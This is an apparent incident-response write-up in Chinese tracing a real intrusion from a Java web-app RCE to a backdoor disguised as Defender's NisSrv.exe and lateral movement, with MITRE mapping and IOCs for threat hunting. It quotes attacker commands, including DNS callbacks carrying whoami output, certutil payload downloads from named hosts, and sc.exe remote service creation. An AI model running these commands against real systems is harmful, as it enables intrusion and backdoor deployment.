July 15, 2026
【威脅情資】從 Java RCE 到內網橫向:偽裝成 Defender 的 NisSrv.exe 後門分析
免責聲明:本篇文章基於真實的資安事件鑑識報告改寫,旨在分享攻擊手法、防禦實務與威脅狩獵,本文中所提及的受害環境時間、內網 IP 位址、主機名稱、皆已進行大幅度修改與匿名化處理,公開惡意來源、C2、Payload…

By segalee
21 min read
免責聲明:本篇文章基於真實的資安事件鑑識報告改寫,旨在分享攻擊手法、防禦實務與威脅狩獵,本文中所提及的受害環境時間、內網 IP 位址、主機名稱、皆已進行大幅度修改與匿名化處理,公開惡意來源、C2、Payload 託管位置與檔案雜湊則保留作為威脅狩獵參考請讀者勿將本文內容任意拼湊、臆測或強行連結至任何實體單位,亦不得以此作為對任何組織管理責任之指控依據
該資安事件由中飛科技 MDR 團隊共同調查
在 7 月初觀察到本起攻擊,攻擊者透過一台對外主機的網頁 BPM 應用程式 RCE 漏洞作為入侵起點,接著透過下載後門、本機提權最後開始內網橫向移動
希望透過本文讓大家了解本次攻擊的手法與路徑
本次分享著重於攻擊手法本身,不涉及受害單位資訊、IR 與修復的部分
攻擊者在攻擊時多次投放行為皆遭 EDR 阻擋,直到更改 WebShell 內容後才成功落地後門,但最後則是改用可執行檔後門,本文將依時序還原整條攻擊鏈,文中主機一律以代號稱呼:對外 Web 主機為 Host-A、橫向移動目標為 Host-B
第一階段:初始存取與 RCE 驗證
攻擊的初始入侵點位於一台對外的主機 Host-A,該主機上執行的是一套建構在 WildFly 上的 Java BPM 網頁應用。伺服器日誌顯示,來源 IP 185.213.82[.]29 於當日中午開始嘗試透過 SQL Injection 啟用 xp_cmdshell,並執行 ver 測試該網頁服務是否能夠執行系統命令
先針對該來源 IP 185.213.82[.]29 進行情資查詢,確認其隸屬於 PacketHub S.A.
進一步比對威脅情資發現,PacketHub S.A. 為商業 VPN 服務 NordVPN 基礎設施提供商,其註冊之多數網段與 ASN 皆直接對應至 nordvpn.com,由此研判攻擊者可能透過 VPN / Proxy 基礎設施隱匿實際位置,無法僅透過該 IP 回溯真實使用者身分
接著首次觀察到成功執行 RCE 的跡象,攻擊者透過網頁應用讓 java.exe 派生 PING.EXE 進行對外連線測試,這裡攻擊者使用了一個值得注意的手法來驗證 RCE 是否成功:
執行 ping xxx.99d8e60c97.ddns.bypass.eu[.]org
該網域為攻擊者自行控制的 DDNS zone,攻擊者並不在意連線是否成功,其目的在於觸發受害主機的 DNS 查詢——只要攻擊者控制的 DNS server 收到這筆查詢,即可確認命令已在目標主機上實際執行
實際解析結果為佔位用的內網保留位址 10.10.10.10
實測後發現該 domain 確實為 10.10.10.10
該手法屬於典型的 out-of-band RCE 驗證,即使實際連線遭防火牆阻擋,DNS 解析行為本身即為命令執行成功的訊號
接著攻擊者嘗試將當前使用者身分帶入 DNS 查詢,執行了
ping `whoami`.99d8e60c97.ddns.bypass.eu.org.ping `whoami`.99d8e60c97.ddns.bypass.eu.org.
在 Linux 中,反引號會先被展開為命令執行結果,但實際測試發現該語法在 Windows 的 cmd.exe 中不會展開,僅會查詢字面值 whoami,下面截圖為實測效果
由此研判攻擊者可能預設該環境為 Linux
確認 RCE 可用後,攻擊者開始嘗試投放 JSP WebShell,初期透過 certutil 從 Alibaba Cloud OSS bucket(taibeianmo.oss-cn-hongkong.aliyuncs[.]com)下載 403.jsp ,後續經 EDR 檔案建立資訊確認,該 JSP 下載失敗
攻擊者接著嘗試在 RCE 路徑 /NaNaWeb/BPMModule/ 請求剛剛下載失敗的 403.jsp,並顯示 ERROR
確認無法下載後,攻擊者隨即改為手動以 echo 分段寫入 133.jsp,檔案雖建立成功,但在落地瞬間即遭 EDR 判定為 Java 類型 WebShell 並隔離
檢視 133.jsp 程式碼可觀察到,其包含自訂 ClassLoader 與 defineClass 動態載入 bytecode 的邏輯,並使用 javax.crypto.Cipher.getInstance("AES") 建立 AES 加解密流程,程式會從 HTTP Request 參數取得攻擊端傳入的內容,經 Base64 解碼後進行後續處理
並透過 application.setAttribute() 將載入後的 payload 或 class 快取於 Web Application scope 中,以便後續請求重複使用
此類行為符合 Java/JSP 加密型 WebShell 的典型設計,攻擊端不直接傳送明文指令,而是將加密後的 payload 傳入伺服器,由 JSP 端解密後於記憶體中動態載入並執行,該實作手法常見於 Godzilla(哥吉拉)、Behinder(冰蠍)或其衍生變種
後續攻擊者持續嘗試各種投放與繞過手法,包含改用 set /p=...<nul 避免換行、將 JSP 內容以 Base64 編碼寫入 .txt 再以 certutil -decode 還原、改用 Hex 編碼寫入再解碼、為 payload 加上引號、以及交叉使用 echo 與 certutil 從多個站點下載等。上述惡意檔案(124.jsp、3221.txt、321x.txt、1321.txt、11321x.txt、xxxx.txt 等)均遭 EDR 隔離或建立失敗
第二階段:後門落地
攻擊者接著改變策略,放棄與 EDR 正面對抗的 WebShell 投放,改以可執行檔後門落地。攻擊者透過 curl 與 certutil 從相同 OSS bucket 下載 NisSrv.exe 與 MpClient.dll 至 D:\nissrv\
此處的命名值得注意,NisSrv.exe(Microsoft Network Realtime Inspection Service)本身為 Windows Defender 的合法元件,正常情況下應位於 C:\ProgramData\Microsoft\Windows Defender\Platform\<版本號>\ 目錄,並以 SYSTEM 權限常駐執行。攻擊者刻意採用此檔名,研判用意在於使分析人員於程序清單中略過該程序。而一併下載的 MpClient.dll 為正版 NisSrv.exe 啟動時本就會載入的相依函式庫,攻擊者將其一併帶上,評估是為了讓這支偽裝的程式能正常執行而不崩潰
SHA256=E01754385228D12F929DEAD72BA2C583605AC005A274DB91C91487513D0EFDB5
查看 NisSrv.exe 情資,有 4 家資安廠商將其標記為 AdaptixC2 後門
此外,該檔案的 PE 編譯時間戳被竄改為 2060-01-03,為明顯的反分析痕跡
檢視 NisSrv.exe 的數位簽章,該檔案表面上帶有 Microsoft Windows 簽章,但於簽章詳細資料中顯示驗證失敗
簽章驗證失敗代表檔案目前內容的雜湊與簽署當下不一致,可推斷該檔案於簽署後遭到修改,或攻擊者將正版檔案之簽章區塊複製附加於惡意檔案上偽造而成
查看 MpClient.dll 情資,SHA256=94C025D51A74E961E30B4BC3D0CA4799E268F5150FCFDBA371701036D621C2F9
比較特別的是該 dll 檔案數位簽章是正常的
查看 VirusTotal 情資也沒有發現異常
後續觀察到D:\nissrv\NisSrv.exe 成功執行,並開始對外部 IP 156.227.0[.]13 的 443/TCP 建立多筆連線,研判為後門程式對外 C2 通訊行為
後門執行後,觀察到該程序派生 tasklist.exe 執行 tasklist /svc 列舉本機程序與服務,研判用於確認是否存在防護軟體
同時攻擊者刪除先前寫入 Web 目錄的命令回傳與測試檔案(res.txt、123.txt),具備清除操作痕跡特徵
第三階段:權限提升與 C2 通訊
接著觀察到本次攻擊的提權手法,原本以 xxxx\Administrator 身分執行的 beacon(NisSrv.exe, PID 12128),在派生 SYSTEM 程序前,先存取了一支以 SYSTEM 執行的 TrustedInstaller.exe(PID 9308)
TrustedInstaller.exe 為系統正常元件,由 services.exe 以 SYSTEM 正常啟動,綜合 NisSrv.exe 存取 SYSTEM 權限 TrustedInstaller.exe,以及後續出現 SYSTEM 身分的新 Beacon 程序,高信心研判攻擊者透過 Access Token Manipulation 建立高權限程序;但現有遙測未包含 Token API 與
Handle Access Rights,無法進一步確認其具體實作方式
該手法對應 Access Token Manipulation,也是各家 C2 框架 getsystem 背後的實作之一
值得注意的是,此提權路徑全程未存取 lsass ,後續調查亦確認,事件期間排除 svchost 與 WmiPrvSE 後,並無可疑程序存取 lsass,也無 dmp 檔產生,本案也沒有觀察到 LSASS 存取或 credential dumping 證據
第四階段:內網橫向移動
取得 SYSTEM 權限後,Host-A 主機透過 TCP/445 連往 Host-B,接著馬上在 Host-B 主機上面發現 nissrv 的目錄建立、nissrv.exe 惡意執行檔的建立以及 MpClient.dll 的建立,由此可以評估攻擊者是透過 SMB 傳送惡意執行檔
接著觀察到 Host-A 主機執行 NisSrv.exe 對內網網段進行 Port Scan
完成內網資產列舉後,Host-A 上的 NisSrv.exe 派生 sc.exe,對橫向目標主機 Host-B 建立遠端服務:
sc \\Host-B create nissrv binpath=cmd.exe /c C:\nissrv\nissrvs.exe
sc \\Host-B start nissrvsc \\Host-B create nissrv binpath=cmd.exe /c C:\nissrv\nissrvs.exe
sc \\Host-B start nissrv
該指令的效果是在 Host-B 上遠端建立一個名為 nissrv 的服務並啟動,由於服務由 Host-B 的 services.exe 帶起,因此落地執行的 nissrvs.exe 將以 SYSTEM 權限運行
此處須注意,sc.exe 指令並未帶任何帳號密碼參數,代表其使用的是執行程序當下的登入 token 進行整合式驗證(NTLM 或 Kerberos),執行 sc.exe 的父程序為 Administrator 身分的 beacon,合理推斷攻擊者是以 Administrator 身分憑證對 Host-B 進行認證/或既有 SMB session
由此研判:
- 本機 Administrator 密碼重用 — — Host-A 與 Host-B 存在同名且同密碼的本機 Administrator,本機帳號透過 NTLM 認證至遠端時,遠端以自身 SAM 中的同名帳號驗證,密碼一致即通過(內建 RID-500 Administrator 預設不受 UAC 遠端限制,此路徑特別容易成立)
- 既有 SMB session 或其他 token
隨後在 Host-B 上亦觀察到 services.exe 派生 cmd.exe 並執行 C:\nissrv\nissrvs.exe,執行身分為 NT AUTHORITY\SYSTEM,確認攻擊者已成功由 Host-A 橫向移動至 Host-B
在橫向至 Host-B 後,觀察到來自 Host-A 與 Host-B 對 DC 的 3389/TCP(RDP)連線紀錄,TCP session 成功建立,但連線成功不等同登入成功,故針對攻擊者是否成功登入 DC 進行多路交叉驗證
檢視 DC 的登入遙測,對應時段並無來自該兩台來源主機的 4624(登入成功)紀錄,而同時段其他來源之 4624 皆正常記錄,證明遙測本身運作正常
此外rdpclip.exe 於該時段未執行;查看TerminalServices-LocalSessionManager/Operational 日誌在當日也沒有任何紀錄,但更早日期查得到相同事件紀錄,證明該日誌可正常運行,故確認當日的空白為真實缺失而非日誌失效
透過證據互相佐證,高信心研判攻擊者並未成功登入 DC
總結
本次事件中,攻擊者的手法在遭到阻擋後明顯轉變,從一開始攻擊擊者選擇以 JSP WebShell 作為立足點,正面撞上 EDR 對此類 WebShell 的偵測,多種編碼與投放繞過手法皆告失敗,接著攻擊者改採「合法元件命名 + LOLBin 下載 + Token 竊取提權 + 原生服務橫向」的路徑,整條攻擊鏈幾乎全數踩在系統正常行為的灰色地帶,最終成功落地後門並橫向移動至第二台主機,僅在嘗試登入 DC 時受阻
由本次事件可整理出幾點防禦與威脅狩獵的觀察:
- 攻擊者大量使用 LOLBin(
certutil、sc.exe、tasklist),此類系統內建工具無法僅憑檔名或路徑偵測,須從行為切入,例如「certutil下載 exe」「java.exe派生cmd.exe」等異常關聯 - 檔名可被偽裝,但簽章驗證無法,一支名為
NisSrv.exe的程式若執行於D:\nissrv\而非 Defender 的 Platform 目錄、且簽章驗證失敗,任一訊號皆足以起疑 - 本次
sc.exe橫向全程無需帳密,凸顯本機管理員密碼重用的風險,建議導入 LAPS 管理本機管理員密碼 - 「連線成功」不等同「入侵成功」,確認 DC 是否失守與釐清攻擊者行為同等重要,因其直接決定應變層級
- 廠商回覆修補完成後仍應自行驗證
MITRE ATT&CK 攻擊手法對應表
1. 初始存取 (Initial Access)
- T1190 | Exploit Public-Facing Application 攻擊者針對對外 Web / Java 應用服務發動攻擊,Server log 顯示嘗試利用 SQL Injection 啟用
xp_cmdshell並執行ver測試,後續成功透過 Web RCE 使java.exe執行系統命令。
2. 執行 (Execution)
- T1059.003 | Command and Scripting Interpreter: Windows Command Shell 透過
java.exe派生cmd.exe /c執行多個 Windows 命令,包含ping、dir、tasklist /svc、echo、set /p、certutil等。 - T1569.002 | System Services: Service Execution 透過
sc \\Host-B start nissrv啟動遠端服務,於 Host-B 觸發後門nissrvs.exe執行。
3. 持久化 (Persistence)
- T1505.003 | Server Software Component: Web Shell 攻擊者嘗試於 WildFly 部署目錄建立多個 JSP WebShell(
133.jsp、144.jsp、184.jsp、189.jsp、124.jsp等),惟皆遭 EDR 隔離。 - T1543.003 | Create or Modify System Process: Windows Service 自 Host-A 透過
sc \\Host-B create nissrv於 Host-B 遠端建立服務,使services.exe以 SYSTEM 權限帶起後門。
4. 權限提升 (Privilege Escalation)
- T1134.002 | Access Token Manipulation: Create Process with Token Beacon
NisSrv.exe(Administrator)存取以 SYSTEM 執行之TrustedInstaller.exe並竊取其 token,再派生以NT AUTHORITY\SYSTEM執行之新程序,於本機達成提權。
5. 防禦規避 (Defense Evasion)
- T1036 | Masquerading 後門檔名
NisSrv.exe模仿 Windows Defender 元件,且簽章驗證失敗,確認為冒名惡意檔。 - T1027 | Obfuscated Files or Information 將 JSP WebShell 以 Base64、Hex 編碼寫入文字檔再嘗試轉存,以規避偵測。
- T1140 | Deobfuscate/Decode Files or Information 使用
certutil -decode將編碼內容還原為 JSP。 - T1112 | Modify Registry 橫向後於目標主機反覆竄改 WinINET 代理設定(
ProxyEnable、SavedLegacySettings)。
6. 環境探索 (Discovery)
- T1057 | Process Discovery 執行
tasklist /svc列舉本機程序與服務。 - T1083 | File and Directory Discovery 多次執行
dir確認 WildFly Web 應用部署路徑與可寫位置。 - T1046 | Network Service Discovery
NisSrv.exe對內網多個網段產生連線,研判為主機 / 服務掃描。 - T1033 | System Owner/User Discovery 嘗試以
ping \whoami ... 將執行身分帶入 DNS callback(惟反引號語法於 Windows cmd 不會展開)。
7. 橫向移動 (Lateral Movement)
- T1021.002 | Remote Services: SMB/Windows Admin Shares 自 Host-A 執行
dir \\<host>\C$列舉內部主機管理分享。 - T1021.001 | Remote Services: Remote Desktop Protocol Host-B 上之
nissrvs.exe對 DC 的 3389 發起 RDP 連線,經交叉驗證未成功通過身分驗證。
8. 指揮與控制 (Command and Control)
- T1071.004 | Application Layer Protocol: DNS 透過
ping對攻擊者控制之 DDNS zone 進行查詢,以 out-of-band 方式驗證 RCE 是否成功。 - T1105 | Ingress Tool Transfer 透過
certutil -urlcache -f從外部 URL 下載NisSrv.exe、MpClient.dll及 JSP WebShell 相關檔案。
威脅指標 (IOCs)
該文章並非完整調查,以下資訊為本次調查所找到的實際情資。
C2 伺服器與中繼站:
156.227.0[.]13(後門NisSrv.exe對外 C2 連線,443/TCP)104.16.249[.]249(後門對外連線,443/TCP,SNI 為cloudflare-dns.com,疑似 DoH)
外部攻擊來源 (執行 RCE 與掃描):
185.213.82[.]29(最早的攻擊來源,隸屬 PacketHub S.A.,研判為 VPN / Proxy 基礎設施)185.213.82[.]38(後續攻擊來源 IP,VPN 基礎設施)193.160.101[.]177(後續攻擊來源 IP,VPN 基礎設施)45.134.191[.]18(後續攻擊來源 IP,VPN 基礎設施)
Payload 託管站點:
47.79.64[.]179(taibeianmo.oss-cn-hongkong.aliyuncs.com解析 IP)138.201.123[.]254(certutil 下載 JSP WebShell 之站點)157.70[.]242.7(第二個 WebShell 下載站點)
外部惡意 / 中繼網域:
99d8e60c97.ddns.bypass.eu[.]org( DNS callback 主網域)0f7dbefd71.ddns.bypass.eu[.]org( DNS callback 主網域)taibeianmo.oss-cn-hongkong.aliyuncs[.]com(Alibaba Cloud OSS 香港區 bucket,託管 payload)chenwei-med-en.oss-cn-hongkong.aliyuncs[.]com(另一個嘗試下載 WebShell 的 OSS bucket)
Payload 下載 URL:
https://taibeianmo.oss-cn-hongkong.aliyuncs[.]com/NisSrv.exehttps://taibeianmo.oss-cn-hongkong.aliyuncs[.]com/MpClient.dll
事件檔案雜湊 (SHA256):
NisSrv.exe:E01754385228D12F929DEAD72BA2C583605AC005A274DB91C91487513D0EFDB5(偽裝成 Defender 元件的後門,簽章驗證失敗、編譯時間戳造假)MpClient.dll:94C025D51A74E961E30B4BC3D0CA4799E268F5150FCFDBA371701036D621C2F9(隨後門一併下載的相依 DLL,本身簽章正常)
惡意工具落地與執行路徑:
D:\nissrv\NisSrv.exe、D:\nissrv\MpClient.dll(後門落地路徑,注意非 Defender 正常的 Platform 目錄)C:\nissrv\nissrvs.exe(橫向目標主機上的後門落地路徑)
遭利用的服務名稱:
nissrv(攻擊者透過sc.exe於遠端主機建立之服務名稱)
WebShell 特徵字串(疑似冰蠍/Godzilla AES 加密型 JSP WebShell 家族):
ClassLoader/defineClassjavax.crypto.Cipher.getInstance("AES")base64Decode(request.getParameter(pass))application.setAttribute("fjsu"pass22/fe1af588515420f1/fjsu
攻擊者常用指令:
ping xxx.99d8e60c97.ddns.bypass.eu.org(DNS callback 驗證 RCE)certutil -urlcache -f <url>(LOLBin 下載 payload)certutil -f -decode <file>(解碼落地)tasklist /svc、net time /domain、dir \\<host>\C$(環境探索)sc \\<host> create nissrv binpath=cmd.exe /c C:\nissrv\nissrvs.exe(命令列未明示帳密,使用既有 Token/整合式驗證進行橫向移動)